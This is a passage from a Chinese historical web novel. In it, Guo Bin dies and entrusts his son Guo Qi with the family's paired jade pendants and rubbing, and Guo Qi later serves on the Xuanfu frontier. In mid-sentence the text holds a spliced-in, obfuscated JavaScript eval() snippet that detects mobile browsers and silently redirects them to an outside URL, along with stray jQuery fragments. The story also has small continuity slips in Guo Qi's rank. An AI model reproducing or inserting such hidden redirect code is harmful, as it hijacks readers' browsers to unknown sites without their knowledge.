郭玘重重点头:“爹,我明白了。我会更加努力,协助你推广耐碱谷种,积累民心和势力。” 时间一天天过去,耐碱谷在海州的盐碱地中茁壮成长。永乐八年秋,海州迎来了丰收的季节。屯田区的耐碱谷长得穗大粒满,亩产远超普通粮种,军户和乡邻们喜笑颜开,纷纷忙着收割、晾晒粮食。 郭斌的族人们也获得了大丰收,仓库里堆满了粮食,再也不用担心饿肚子了。郭福看着满仓的粮食,感慨道:“先生,若不是郭铭大人送来的耐碱谷种,我们现在还不知道要过着什么样的日子。这真是救命之恩啊!” “是啊。”郭斌道,“郭铭叔的这份恩情,我们郭家没齿难忘。等将来家族洗刷了冤屈,我们一定要好好报答他。” 秋收后,军户和乡邻们纷纷履行承诺,将一部分粮食捐赠给了卫所。卫张大人看着堆满粮仓的粮食,对郭斌大加赞赏:“郭吏目,你推广的耐碱谷种,真是解决了海州的大难题!有了这些粮食,军户和百姓们再也不用饿肚子了,卫所的后勤保障也得到了极大的改善。我会向朝廷上书,为你请功!” 16. 第二卷 海州藏璧 第16章 父临终言 永乐十年冬,海州的寒风裹挟着刺骨的凉意,卷着海雾漫过卫城的青石板路,将街头的落叶卷得漫天飞舞。郭斌躺在病榻上,脸色苍白如纸,呼吸微弱而急促。自永乐八年推广耐碱谷种成功后,他便没日没夜地操劳——既要处理左千户所的公务,又要指导军户改良盐碱地、囤积粮食,还要暗中关注京城局势、保护族人安全,长期的超负荷劳作,终究拖垮了他本就因多年逃亡而受损的身体。 “爹,喝点药吧。”十七岁的郭玘端着一碗温热的汤药,小心翼翼地走到床前,眼中满是掩饰不住的担忧。他身着粗布长衫,身形愈发挺拔,只是往日里明亮的眼神,此刻却布满了红血丝。这半个月来,他日夜守在父亲床前,亲自熬药、喂水,几乎没有合过眼。 郭斌缓缓睁开眼,看着儿子憔悴的面容,心中一酸,艰难地抬起手,想要抚摸儿子的头,却因虚弱而无力落下。“玘儿……辛苦你了。”他的声音嘶哑干涩,每说一个字都耗费着巨大的力气。 郭玘连忙握住父亲的手,那双手曾经温暖而有力,如今却枯瘦冰凉,让他心中一阵刺痛。“爹,不辛苦。你快把药喝了,喝了药身体就会好起来的。”他舀起一勺汤药,吹了吹,送到父亲嘴边。 郭斌顺从地喝下汤药,苦涩的药味在口中弥漫开来,却丝毫驱散不了身体的疲惫与病痛。他知道,自己的身体早已油尽灯枯,这汤药不过是苟延残喘罢了。 旁边的郭福看着这一幕,忍不住抹了抹眼角的泪水。他跟随郭斌多年,看着他从一个逃亡的罪臣之后,一步步在海州站稳脚跟,为了族人的生存殚精竭虑,如今却落得这般模样,心中满是心疼与无奈。“先生,您就安心养病吧,卫所的公务和族里的事,有我们盯着,不会出乱子的。” 郭斌轻轻摇了摇头,目光扫过屋中聚集的几位族中长辈,眼中带着一丝忧虑。“我担心……我走后,你们……”他的话还没说完,便剧烈地咳嗽起来,咳得撕心裂肺,嘴角甚至溢出了一丝血迹。 “爹!”郭玘连忙扶住父亲,拿出手帕擦拭他嘴角的血迹,声音带着哭腔,“您别说话了,好好休息。您不会有事的,我们还要一起回淮西祖宅,一起为家族洗刷冤屈呢!” 郭斌缓缓平复了咳嗽,眼神变得愈发坚定。他知道,自己时日无多,有些话,有些事,必须尽快交代清楚。“玘儿,扶我起来……我有重要的事……要对你说。” 郭玘犹豫了一下,还是听从父亲的吩咐,小心翼翼地将他扶起,在他身后垫了一个厚厚的靠枕。 郭斌深吸一口气,目光落在郭玘身上,语气郑重:“玘儿,你已经长大了……有些事,我们父子二人一直心照不宣,今日我要正式托付给你。”他示意郭福和其他族中长辈退到屋外,只留下郭玘一人。 屋中只剩下父子二人,气氛凝重而悲伤。郭斌从枕边摸索着,取出一个小巧的木盒,颤抖着递给郭玘:“打开……看看。” 郭玘疑惑地打开木盒,里面放着半块熟悉的玉佩——正是父亲贴身收藏多年的“勇”字玉佩,以及一张折叠整齐的布帛。他一眼便认出,那张布帛是父亲当年拓印的两块玉佩合璧纹路,上面还清晰写着“父郭兴,汝字景扬,郭斌也”的字样。而他自己贴身收藏的,是郭铭叔当年在东海岛秘密相见时,归还的那半块“忠”字玉佩,父子二人各持一半,早已是彼此心中的默契。 “爹,这是……”郭玘的声音带着哽咽,他瞬间明白了父亲的用意。 “这半块‘勇’字玉佩,是你祖父郭兴留给我的……”郭斌的声音带着一丝回忆,“当年胡惟庸案爆发,家族遭难,我带着它逃亡,它不仅是郭家的传家宝,更是支撑我活下去的精神支柱。这些年,你持‘忠’,我持‘勇’,父子同心,才守住了这一脉香火。” 他顿了顿,枯瘦的手指轻轻拂过玉佩上的纹路:“那张拓本,记录着两块玉佩的合璧之形,也记录着我们的真实身份,记录着家族的根。我当年对你说,等你能保全家,就把这拓本给世人看……如今,我怕是等不到那一天了。这个重任,就交给你了。” 郭玘紧紧握住木盒,泪水滴落在“勇”字玉佩上,温润的玉质瞬间被浸湿。“爹,您不会有事的!我们还要一起等那一天,一起让‘忠勇’合璧,一起回淮西祖宅,一起为家族洗刷冤屈!” “傻孩子……”郭斌轻轻抚摸着儿子的脸颊,眼中满是不舍与期盼,“人终有一死,我能看着你长大成人,看着族人在海州安稳生活,看着你牢记‘忠勇’家训,已经很满足了。” 他的目光变得愈发深邃:“玘儿,记住,我们郭家是忠良之后,你祖父郭兴是开国功臣,巩昌侯府的冤屈,不能就这样被埋没。但你要记住,洗刷冤屈,不能急于求成,要懂得审时度势,懂得隐忍蛰伏。永乐帝朱棣生性多疑,对洪武旧勋始终心存忌惮,武定侯府虽暂时安稳,却也如履薄冰。” “你郭铭叔身在京城,处境艰难,若不是他暗中相助,我们在海州也难以立足。”郭斌的声音越来越低,却依旧清晰,“将来……找机会去见他,把这半块‘勇’字玉佩和拓本交给你……告诉他,景扬守住了家,守住了族人,守住了郭家的‘忠勇’传承……望他日后……能设法伸家族之冤。” 郭玘紧紧咬着嘴唇,泪水模糊了视线,却坚定地点点头:“爹,我记住了!我一定会找到郭铭叔,一定会让‘忠勇’合璧,一定会为家族洗刷冤屈,一定会让郭家的荣光重现!” “好……好……”郭斌露出了一丝欣慰的笑容,眼中的光芒却渐渐黯淡下去。他看着儿子,仿佛看到了年轻时的自己,看到了郭家的未来。“玘儿,照顾好族人……守住……守住‘忠勇’,守住……” 他的声音越来越微弱,呼吸也渐渐停止。那双曾经充满坚定与智慧的眼睛,永远地闭上了。 “爹!”郭玘发出一声撕心裂肺的哭喊,紧紧抱住父亲冰冷的身体,泪水如决堤般涌出。他将自己怀中的“忠”字玉佩取出,与木盒中的“勇”字玉佩放在一起,两块玉佩紧紧相依,仿佛在诉说着父子二人多年的坚守与不舍。 屋外的郭福和族中长辈听到哭声,连忙冲进屋中,看到郭斌已经安详地闭上了眼睛,都忍不住失声痛哭。屋中的哭声与屋外的寒风交织在一起,悲伤弥漫在整个院落。 郭斌的死讯,很快传遍了海州城。左千户所的军吏、屯田区的军户、卫城的乡邻们,都纷纷前来吊唁。他们感念郭斌推广耐碱谷种的恩情,敬佩他的正直与才干,为他的离去感到悲痛。 卫所张大人也亲自前来吊唁,看着郭斌的灵堂,感慨道:“郭斌是海州的功臣,若不是他,军户和百姓们还在受饿肚子的苦。可惜啊,天妒英才!”他下令,为郭斌举行隆重的葬礼,以表彰他对海州的贡献。 郭玘强忍着悲痛,主持着父亲的葬礼。他身着孝服,跪在灵堂前,接受着前来吊唁的人们的慰问。十七岁的少年,在一夜之间,被迫长大了。他知道,父亲走了,他就是族人的主心骨,必须扛起家族的重任,完成父亲未竟的心愿。 葬礼的前一日,郭玘独自一人来到父亲的书房,想要寻找一些父亲留下的遗物。书房里的一切都保持着原样,书桌上还放着父亲未处理完的公文,以及一本翻开的《孙子兵法》,上面有父亲密密麻麻的批注。 郭玘的目光落在书桌抽屉里的一个小木盒上,打开一看,里面放着一块残破的木板——正是当年父亲从淮西祖宅废墟中找到的“守忠”匾额残片。残片上的“忠”字和半个“守”字依旧清晰,只是布满了灰尘和裂痕。 看着这块残片,郭玘想起了父亲曾经给他讲述的祖宅往事,想起了曾祖父郭山甫的“守忠”教诲,想起了父亲对家族的执念。他心中做出了一个决定:父亲一生都在坚守“守忠”家训,以“勇”护族,死后,理应与这块匾额残片相伴,让先祖的教诲永远守护着他。 永乐十年冬月廿三,海州城笼罩在一片肃穆的气氛中。郭斌的葬礼如期举行,送葬的队伍从租住的民房一直延伸到卫城郊外的山坡上,绵延数里。左千户所的军吏、屯田区的军户、卫城的乡邻们,纷纷自发前来送葬,他们身着素服,手中拿着白幡,脸上满是悲痛。 郭玘身着重孝,腰束麻绳,双手捧着父亲的灵位,走在送葬队伍的最前面。他的步伐沉稳而坚定,没有哭天抢地,眼中却充满了化不开的悲伤与坚定。怀中的“忠”字玉佩与木盒中的“勇”字玉佩贴身存放,两块玉佩隔着衣物相互感应,仿佛父亲的气息从未远离。 郭福和族中长辈跟在郭玘身后,抬着郭斌的棺椁,一步步朝着山坡上的墓地走去。棺椁中,除了郭斌的遗体,还放着那块“守忠”匾额残片——郭玘遵从自己的心意,将这承载着家族家训的信物,与父亲一同安葬,让先祖的教诲永远陪伴着他。 来到墓地,众人小心翼翼地将棺椁放入墓穴中。郭玘走上前,从怀中取出木盒,将那半块“勇”字玉佩轻轻放在父亲的枕边,又将自己的“忠”字玉佩贴近棺椁,低声道:“爹,‘忠’‘勇’二字,我们父子各持半生,如今您带着‘勇’去见先祖,我带着‘忠’留在世间,定不负您的嘱托,不负先祖的教诲。” 他顿了顿,声音带着坚定:“这‘守忠’残片,是您一生的坚守,如今陪您长眠,愿您在九泉之下,能与先祖相聚,能安心长眠。” 说完,他跪在墓穴前,重重地磕了三个响头。每一个头,都磕得实实在在,带着对父亲的思念与承诺。 送葬的人们也纷纷跪下,向郭斌行跪拜之礼。一位白发苍苍的老军户哽咽道:“郭吏目,您是我们的再生父母,若不是您,我们还在盐碱地里饿肚子。您放心地去吧,我们会照顾好小郭公子,照顾好您的族人。” “是啊,郭吏目。”另一位乡邻道,“您的大恩大德,我们永世不忘。日后小郭公子有任何需要,我们一定鼎力相助!” 郭玘站起身,对着前来送葬的人们深深鞠了一躬:“多谢各位乡亲父老前来送我父亲最后一程。我父亲一生,致力于让大家过上安稳日子,如今他走了,我会继承他的遗志,继续守护海州的军户和百姓,也希望大家日后能多多相助。” 众人纷纷表示愿意支持郭玘,送葬队伍中响起了阵阵附和声。 葬礼结束后,前来送葬的人们渐渐散去,只剩下郭玘和族人们留在墓地。郭玘看着父亲的墓碑,墓碑上刻着“先考郭公讳斌之墓”七个大字,简洁而肃穆。他知道,这只是父亲暂时的安息之地,等将来家族洗刷了冤屈,他一定会将父亲的遗骨迁回淮西祖宅,让父亲落叶归根,与先祖团聚。 回到家中,郭玘召集族人和心腹,在书房中议事。他坐在父亲曾经坐过的椅子上,目光扫过众人,语气郑重:“各位叔伯长辈,我父亲走了,但家族的使命还没有完成。从今往后,我会接替父亲的位置,带领大家继续在海州立足,等待时机,为家族洗刷冤屈。” 郭福站起身,对着郭玘躬身道:“小公子,老奴会一如既往地辅佐你,族中的事务,您尽管吩咐。” 其他族人和心腹也纷纷表示愿意听从郭玘的安排,支持他带领家族继续前行。 郭玘点点头,心中充满了感激。他从怀中取出木盒,打开后,将“勇”字玉佩和拓本放在桌上:“父亲走前,将这半块‘勇’字玉佩和拓本托付给我,让我找机会去见郭铭叔,告知他父亲守住了家,希望他能设法为家族洗刷冤屈。” 他顿了顿,继续道:“但目前,我们还不能贸然前往京城。永乐帝对武定侯府的防范依旧严密,郭铭叔身在京城,处境艰难,我们贸然前往,不仅可能连累他,还可能暴露我们的身份。我们现在要做的,是继续在海州站稳脚跟,积累实力,等待合适的时机。” “小公子说得对。”郭福道,“我们现在的首要任务,是稳定族中局势,处理好卫所的公务和屯田区的事务,不能让别人看出破绽。同时,我们也要暗中打探京城的消息,关注武定侯府的动态,为日后前往京城见郭铭叔做准备。” 郭玘将“勇”字玉佩贴身收好,与自己的“忠”字玉佩分左右佩戴,感受着两块玉佩带来的力量:“郭福伯说得有理。卫所的公务,我会继续处理,不会让别人看出异样;屯田区的事务,就劳烦郭福伯多费心,继续推广耐碱谷种,让军户和百姓们的生活越来越好,积累更多的民心。” “小公子放心,老奴会办好的。”郭福道。 接下来的日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914086|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郭玘一边处理左千户所的公务,一边打理屯田区的事务,同时还要抽出时间练习武艺、研读兵法。他继承了父亲的沉稳与智慧,处理公务有条不紊,对待军户和百姓平易近人,很快便赢得了左千户所官员和军户们的认可。 卫所张大人也对郭玘十分赏识,认为他年少有为,有其父之风,时常将一些重要的事务交给她处理。郭玘也借此机会,进一步扩大自己的人脉,巩固自己在东海卫的地位。 然而,树欲静而风不止。郭斌的死,让一些人看到了可乘之机。卫城的豪强张大户,自上次被郭斌打压后,一直怀恨在心,如今见郭斌已死,郭玘只是个十七岁的少年,便想趁机夺回耐碱谷种的种植权,欺压郭玘和他的族人。 这一日,张大户带着一群打手,来到屯田区,强行霸占了几块长势最好的耐碱谷田地,还打伤了几名阻拦的族人。 族人们连忙将此事告知郭玘。郭玘得知消息后,心中一怒。他知道,张大户是想趁火打劫,若不给他点颜色看看,他日后还会变本加厉。 “郭福伯,备马!”郭玘沉声道,“我去会会张大户!” 郭福心中一紧:“小公子,张大户势力庞大,又有打手相助,您千万不要冲动!” “我不是冲动。”郭玘道,“父亲刚走,张大户就敢如此嚣张,若我们一味忍让,他只会得寸进尺,不仅会霸占我们的田地,还会欺压我们的族人。我必须让他知道,父亲虽然走了,但我们郭家的人,守得住‘忠’,也扛得起‘勇’,不是好欺负的!” 说完,他拿起父亲留下的宝剑,快步走出屋门。 来到屯田区,张大户正带着打手在田地里耀武扬威,看到郭玘前来,不屑地笑道:“小毛孩子,你爹都死了,还敢来管我的事?识相的,就把耐碱谷种的种植权交出来,否则,别怪我不客气!” 郭玘眼神冰冷地看着张大户:“张大户,这田地是军户和百姓们的生计之本,你强行霸占,还打伤我的族人,实在太过放肆!我劝你立刻离开,归还田地,赔偿族人的损失,否则,休怪我对你不客气!” “不客气?你能把我怎么样?”张大户哈哈大笑,“你爹在世时,我还怕他三分,如今他死了,你一个毛孩子,也敢在我面前逞威风?兄弟们,给我上,教训教训这个不知天高地厚的小子!” 打手们闻言,纷纷朝着郭玘冲来。郭玘毫不畏惧,拔出宝剑,迎了上去。他的武艺得自父亲亲传,又经过多年的勤学苦练,早已练就一身硬功夫。只见他剑光一闪,便将一名打手的武器击落,紧接着一脚将其踹倒在地。怀中的两块玉佩随着动作轻轻撞击,仿佛在为他助威。 其他打手见状,纷纷围攻上来。郭玘沉着应对,宝剑在他手中舞得虎虎生风,刀光剑影间,打手们一个个被打倒在地,哀嚎不止。 张大户见状,脸色大变,没想到郭玘的武艺如此高强。他想要逃跑,却被郭玘一把拦住:“张大户,你想走?” 张大户吓得浑身发抖,连忙求饶:“小郭公子,我错了,我不该霸占田地,不该打伤你的族人。我现在就归还田地,赔偿损失,求你饶了我吧!” 郭玘冷冷地看着他:“念在你是初犯,今日我便饶了你。若日后你再敢欺压军户和百姓,再敢打我们郭家的主意,我定不饶你!” “不敢了,我再也不敢了!”张大户连连点头,连忙让人归还田地,赔偿了族人的损失,然后带着打手灰溜溜地逃走了。 族人们见状,纷纷围上来,对郭玘赞不绝口:“小公子,您太厉害了!终于给张大户一个教训,看他以后还敢不敢嚣张!” 郭玘收起宝剑,心中却没有丝毫喜悦。他知道,这只是一个开始,未来还有更多的挑战在等待着他。但他不再畏惧,因为他身上肩负着父亲的遗愿,肩负着家族的希望,胸前的“忠”“勇”二玉佩,是他最坚实的后盾。 回到家中,郭玘来到父亲的书房,取出那张玉佩拓本,轻轻展开。拓本上“忠勇”二字合璧的纹路清晰可见,旁边“父郭兴,汝字景扬,郭斌也”的字迹苍劲有力。他看着拓本,想起了父亲的临终遗言,想起了父亲对家族的执念。 他将拓本小心翼翼地收好,贴身藏在“忠”“勇”二玉佩之间。“爹,您放心。”郭玘轻声道,“我一定会守住家族,守住族人,守住‘忠勇’家训。我会尽快强大起来,找机会去见郭铭叔,为家族洗刷冤屈,让您和曾祖父、祖父都能安息。” 窗外的寒风依旧呼啸,却吹不散郭玘心中的坚定。他知道,父亲的离去,是他人生的一个重要转折点。从今往后,他再也不是那个需要父亲庇护的孩子,而是郭家的掌舵人,是族人的依靠,是“忠勇”家训的传承者。 永乐十一年春,海州城的春风吹拂着大地,带来了生机与希望。郭玘在海州的地位愈发稳固,他不仅继承了父亲的吏目之职,还因推广耐碱谷种、保护军户百姓的功绩,被卫所举荐为左千户所的副千户,掌管部分兵权。 他一边处理卫所的公务,一边暗中培养自己的势力,训练族中的年轻男丁,同时密切关注京城的局势。他知道,想要为家族洗刷冤屈,必须要有足够的实力和合适的时机。 这一日,郭玘收到了郭铭通过秘密渠道传来的消息:武定侯府的处境有所好转,郭镇大人在军中的威望日益提高,郭铭在锦衣卫的职位也更加稳固;永乐帝近期将派官员前往东海卫巡查海防,郭铭有可能会随行,届时可以与他秘密见面。 郭玘看着手中的密信,眼中闪过一丝激动。他下意识地摸了摸胸前的两块玉佩,心中默念:爹,机会来了。 他来到父亲的墓前,跪在墓碑前,轻声道:“爹,郭铭叔要来了。我很快就能见到他,把您的遗愿告诉他,把家族的冤屈告诉他。您放心,我一定会努力,早日为家族洗刷冤屈,让您落叶归根,让郭家的荣光重现。” 春风拂过山坡,吹动着墓碑前的青草,仿佛是父亲的回应。郭玘站起身,望着远方的京城方向,眼中闪烁着坚定的光芒。他知道,新的挑战即将到来,但他已经做好了准备。他会带着父亲的遗愿,带着“忠勇”二玉佩,带着家族的希望,在这乱世中勇敢前行,为家族的复兴而不懈努力。 17. 第三卷 拓片传灯 第17章 戍边之苦 永乐十一年秋,宣府的寒风比海州早来一月,卷着塞北的沙尘,刮过夯土筑成的边墙,发出呜咽般的嘶吼。郭玘裹紧了身上的粗布军袍,指尖早已冻得发麻,却依旧握紧手中的长枪,目光警惕地扫视着远方的戈壁。父亲郭斌病逝后,他在东海卫左千户所承袭了总旗之职,未满一年,便接到了卫所调令——率麾下五十名军户前往宣府戍边,为期三年。 “总旗,风太大了,要不要回烽火台避一避?”身旁的军卒赵虎搓着冻红的双手,声音被风吹得断断续续。他是郭玘从东海卫带来的族人,憨厚勇猛,是郭玘最信任的副手。 郭玘摇摇头,目光依旧停留在远方:“再守半个时辰。宣府是北平府的屏障,瓦剌骑兵常趁风沙天偷袭,不能大意。”他的声音沉稳,带着与十八岁年龄不符的老练。自父亲离世后,他便强迫自己快速成长,如今的他,早已不是那个需要庇护的少年,而是能带领族人戍边的总旗官。 胸前的“忠”“勇”二字玉佩贴着肌肤,温润的触感是他唯一的慰藉。离开海州城前,他去父亲墓前告别,将拓本与两块玉佩贴身藏好,心中默念着父亲的临终遗言。戍边三年,既是朝廷的命令,也是他的选择——宣府距京城不远,且是军事要地,或许能在这里找到与郭铭叔见面的机会,更能结识祖父的旧部,为家族洗刷冤屈积累力量。 然而,宣府的戍边之苦,远超郭玘的想象。这里不比海州有海风吹拂的湿润,唯有漫天风沙与刺骨严寒。军户们居住的营房是简陋的土坯房,屋顶铺着茅草,四处漏风;每日的口粮是掺着沙砾的粗粮,难以下咽;水源稀缺,洗漱都成了奢望,更别提洗澡;最艰难的是,他们要时刻防备瓦剌骑兵的偷袭,每日的巡逻与值守,神经都绷得紧紧的。 “总旗,您看那边!”赵虎突然指向远方。郭玘顺着他指的方向望去,只见一队骑兵正朝着边墙疾驰而来,尘土飞扬,旗帜隐约可见。 “戒备!”郭玘大喝一声,声音穿透风沙。五十名军户立刻握紧武器,摆出防御阵型。郭玘握紧长枪,目光锐利如鹰,心中却不慌不忙——他早已熟读《孙子兵法》,又在父亲的教导下练就一身武艺,对付小规模的骑兵偷袭,自有把握。 骑兵越来越近,郭玘看清了他们的旗帜——是宣府卫的巡逻队。他松了一口气,放下长枪,走上前拱手道:“东海卫戍边总旗郭玘,见过各位兄弟。” 为首的骑兵校尉勒住马,上下打量着郭玘,眼中闪过一丝惊讶:“你就是郭玘?那个从东海卫来的少年总旗?” “正是。”郭玘点头道。 校尉笑了笑,翻身下马:“久仰大名!我叫陈武,负责这一带的巡逻。早就听说海州城出了个少年英雄,年纪轻轻就带领族人推广耐碱谷种,让东海卫军户百姓免于饥馑,今日一见,果然名不虚传。” “陈校尉过奖了。”郭玘谦逊道,“我只是尽了军户的本分。” 陈武拍了拍郭玘的肩膀:“别谦虚了!在这宣府戍边,条件艰苦,你十八岁就能扛下这份担子,不容易。” 两人闲聊了几句,陈武得知郭玘是第一次来宣府戍边,便主动道:“郭总旗,这宣府的规矩,我给你说道说道。瓦剌骑兵狡猾得很,常趁黎明、黄昏或风沙天偷袭,我们的巡逻队要日夜不休;还有,这里的水源稀缺,每一滴水都要省着用;另外,戍边的军户来自各地,鱼龙混杂,你年纪轻,要多留意,别惹不必要的麻烦。” “多谢陈校尉提醒。”郭玘拱手道,“日后还请陈校尉多多关照。” “好说!”陈武笑道,“都是为朝廷效力,理应相互照应。我还有巡逻任务,先走了,改日再找你喝酒!” 陈武带着巡逻队离去后,郭玘回到烽火台,看着疲惫不堪的军户们,心中一阵酸楚。这些军户大多是从东海卫自愿跟随他来戍边的族人,他们远离家乡,忍受着艰苦的环境,只为了支持他。他必须让他们平安回去,不能辜负他们的信任。 “赵虎,让大家轮流休息,吃点干粮,喝点水。”郭玘道,“告诉大家,再坚持坚持,等过了冬天,天气暖和了,条件就会好一些。” “是,总旗!”赵虎应道,转身去安排了。 郭玘坐在烽火台的角落,取出怀中的“忠”字玉佩,轻轻摩挲着。他想起了海州城的族人,想起了郭福伯,想起了父亲。不知道海州的情况如何,族人们是否安好,郭铭叔是否有消息传来。 就在这时,一名军卒匆匆跑来:“总旗,营门外有人找您,说是您的故人。” “故人?”郭玘心中一疑,在这宣府,他没有认识的人。他站起身,道:“带我去看看。” 跟着军卒来到营门外,郭玘看到一名身着千户服饰的中年男子站在那里,身形挺拔,面容刚毅,眼神锐利,正是他从未谋面却时常听闻的李诚! “您是……李诚叔?”郭玘试探着问道。 李诚眼中闪过一丝惊讶,随即露出了欣慰的笑容:“正是我。玘儿,没想到你还记得我。” 郭玘心中一阵激动,快步走上前:“李叔,我当然记得!父亲生前常提起您,说您是我们郭家的恩人。没想到能在这里见到您!” 李诚拍了拍郭玘的肩膀:“我也是没想到,调往宣府戍边的总旗,竟然是你。你父亲还好吗?” 提到父亲,郭玘的眼神黯淡下来:“父亲……父亲已于去年冬天病逝了。” “什么?”李诚浑身一震,脸上的笑容瞬间消失,“景扬兄……他怎么会这么快就……” “父亲积劳成疾,加上多年逃亡落下的病根,终究还是没能撑过去。”郭玘的声音带着一丝哽咽。 李诚沉默了片刻,眼中满是悲痛:“景扬兄是个好人,他一生隐忍,为了家族,为了族人,付出了太多。可惜啊,天妒英才,没能等到家族洗刷冤屈的那一天。” 他叹了口气,道:“玘儿,节哀顺变。你父亲在天之灵,也希望你能坚强起来,完成他未竟的心愿。” “我知道。”郭玘点点头,“父亲临终前,将‘勇’字玉佩和拓本托付给我,让我找机会见郭铭叔,为家族洗刷冤屈。” “我已经知道了。”李诚道,“郭铭大人收到了你的消息,本想来看你,却因锦衣卫事务繁忙,无法脱身。他让我转告你,让你在宣府安心戍边,积累战功,同时留意身边的人,或许能遇到你祖父和父亲的旧部。” 郭玘心中一喜:“李叔,您的意思是,宣府有我祖父和父亲的旧部?” “是的。”李诚点点头,从怀中取出一个小册子,递给郭玘,“这是郭兴将军当年的旧部名册,上面记录了部分仍在军中服役的旧部信息。宣府卫中,就有几位是你祖父的老部下,他们都记得将军的知遇之恩,也会护着你。” 郭玘接过名册,双手微微颤抖。册子是用粗布包裹的,封面已经泛黄,上面写着“郭府旧部名册”五个字,字迹苍劲有力,正是祖父郭兴的笔迹。他翻开册子,里面记录着数十名旧部的姓名、籍贯、现任官职和所在卫所,其中宣府卫就有三位,分别是宣府卫指挥使张谦、千户王勇和百户刘忠。 “这些人……真的会帮我吗?”郭玘有些不确定地问道。毕竟时隔多年,人心难测,他不知道这些旧部是否还念及祖父的恩情。 “放心吧。”李诚道,“你祖父郭兴将军,为人正直,爱兵如子,当年跟着他的旧部,无不对他感恩戴德。胡惟庸案后,将军蒙冤,旧部们都心中不平,却敢怒不敢言。如今你来了宣府,他们定会暗中相助。” 他顿了顿,继续道:“我已经联系上了张大人和王千户,他们都知道你要来戍边,会暗中关照你。只是你要记住,你如今只是个总旗,身份低微,不可轻易暴露真实来历,与他们接触时要格外谨慎,以免引起他人怀疑。” 郭玘将旧部名册小心翼翼地贴身藏好,与“忠”“勇”二字玉佩放在一起,心中涌起一股暖流。在这艰苦的戍边之地,能得到祖父旧部的关照,无疑是雪中送炭。他对着李诚躬身道:“多谢李叔,也多谢郭铭叔的关照。这份恩情,我郭家没齿难忘。” “自家兄弟,不必言谢。”李诚摆摆手,“我此次来宣府,一是为了给你送名册,二是受郭铭大人之托,看看你在这边的情况。如今见你一切安好,又能扛起总旗的担子,我也放心了。” 他环顾了一下四周简陋的营房,眼中满是心疼:“宣府戍边条件艰苦,你年纪轻,要多保重身体。军中等级森严,你只是个总旗,既要防备瓦剌骑兵,又要应对上官的刁难和同僚的排挤,凡事要三思而后行,不可意气用事。” “我记住了,李叔。”郭玘点点头,“您在宣府待多久?我想请您喝杯酒,好好感谢您。” “不了。”李诚摇摇头,“我还有公务在身,不能久留。”他从怀中取出一个布包,递给郭玘,“这里面是一些药材和干粮,还有郭铭大人给你的密信,你收好。密信看完后,务必烧毁,不可留下任何痕迹。” 郭玘接过布包,沉甸甸的。他打开布包,里面果然有一些常用的药材、几包精致的干粮,还有一封密封的密信。他将密信收好,道:“李叔,您一路保重。若有机会,我定会去京城看望您和郭铭叔。” “好。”李诚点点头,拍了拍郭玘的肩膀,“照顾好自己,照顾好族人。家族的希望,都在你身上了。” 李诚离去后,郭玘回到营房,将密信拆开。信中是郭铭熟悉的字迹,内容与李诚转达的大致相同,无非是让他安心戍边、低调行事、积累战功、谨慎联络旧部等。但信中还提到了一个重要消息:永乐帝近期将巡幸宣府,郭铭有可能随行,届时会借着巡查戍边情况的名义,与他秘密见面。 郭玘心中一阵激动。与郭铭叔见面,是他完成父亲遗愿的重要一步。他将密信烧毁,灰烬随风飘散,不留一丝痕迹。 接下来的日子,郭玘一边带领军户们戍边,一边暗中观察宣府卫的情况,寻找与祖父旧部接触的机会。宣府的风沙越来越大,气温越来越低,戍边的条件也愈发艰苦。军户们每日要在寒风中巡逻数小时,许多人都冻伤了手脚,还有几人患上了风寒。 郭玘将李诚送来的药材分给患病的军户,又亲自为他们熬药、换药。他以身作则,与军户们同吃同住,一同巡逻,一同值守,丝毫没有总旗的架子。军户们都对他敬佩有加,心甘情愿地跟随他。 这一日,郭玘带领军户们在边墙巡逻,突然遭遇了一小队瓦剌骑兵的偷袭。瓦剌骑兵约有三十余人,个个凶悍异常,骑着快马,挥舞着弯刀,朝着他们冲来。 “列阵!”郭玘大喝一声,声音沉稳有力。军户们立刻按照平时训练的阵型,摆出防御姿态,长枪林立,盾牌在前。 瓦剌骑兵冲到近前,弯刀劈砍而下,与明军的长枪、盾牌碰撞,发出“铛铛”的声响。郭玘手持长枪,身先士卒,冲入敌阵,长枪如龙,接连挑落几名瓦剌骑兵。赵虎等族人也不甘示弱,奋勇杀敌,与瓦剌骑兵展开了激烈的搏斗。 然而,瓦剌骑兵的战斗力远超预期,且骑术精湛,明军渐渐落入下风。一名瓦剌骑兵趁着混乱,朝着郭玘背后偷袭而来,弯刀直指他的后心。 “总旗,小心!”赵虎大喊一声,想要上前阻拦,却被另一名瓦剌骑兵缠住。 郭玘心中一凛,侧身避开,同时反手一枪,刺向那名瓦剌骑兵的胸口。瓦剌骑兵反应迅速,侧身躲开,弯刀再次劈来。就在这危急关头,一阵马蹄声传来,一队明军骑兵从侧面冲来,为首的正是宣府卫千户王勇! “郭总旗,我来助你!”王勇大喝一声,手中长枪如闪电般刺出,挑落了那名偷袭郭玘的瓦剌骑兵。 有了王勇的支援,明军士气大振。瓦剌骑兵见势不妙,想要逃跑,却被明军骑兵拦住了退路。经过半个时辰的激战,瓦剌骑兵被全部歼灭,明军也付出了伤亡五人的代价。 战斗结束后,王勇走到郭玘身边,拍了拍他的肩膀:“郭总旗,好身手!不愧是郭兴将军的孙子!” 郭玘心中一震,没想到王勇竟然直接点破了他的身份。他警惕地看了看四周,低声道:“王千户,您……” “放心吧,这里都是我的人。”王勇笑道,“李诚大人已经跟我打过招呼了。我当年是你祖父麾下的亲兵,受将军知遇之恩,一直想报答将军,却苦于没有机会。如今你来了,我定会护你周全。” 郭玘心中一暖,躬身道:“多谢王千户相助。祖父的恩情,我代郭家记下了。” “不必客气。”王勇道,“将军一生忠勇,却蒙冤而死,我们这些旧部都心中不平。如今你年轻有为,又继承了将军的‘忠勇’家训,我们定会全力支持你,为将军洗刷冤屈。” 他顿了顿,继续道:“张大人也很欣赏你,让我转告你,有任何困难都可以找他。只是你如今身份低微,我们不宜过多接触,以免引起他人怀疑。日后若有需要,我会暗中联系你。” “多谢王千户,也多谢张大人。”郭玘道。 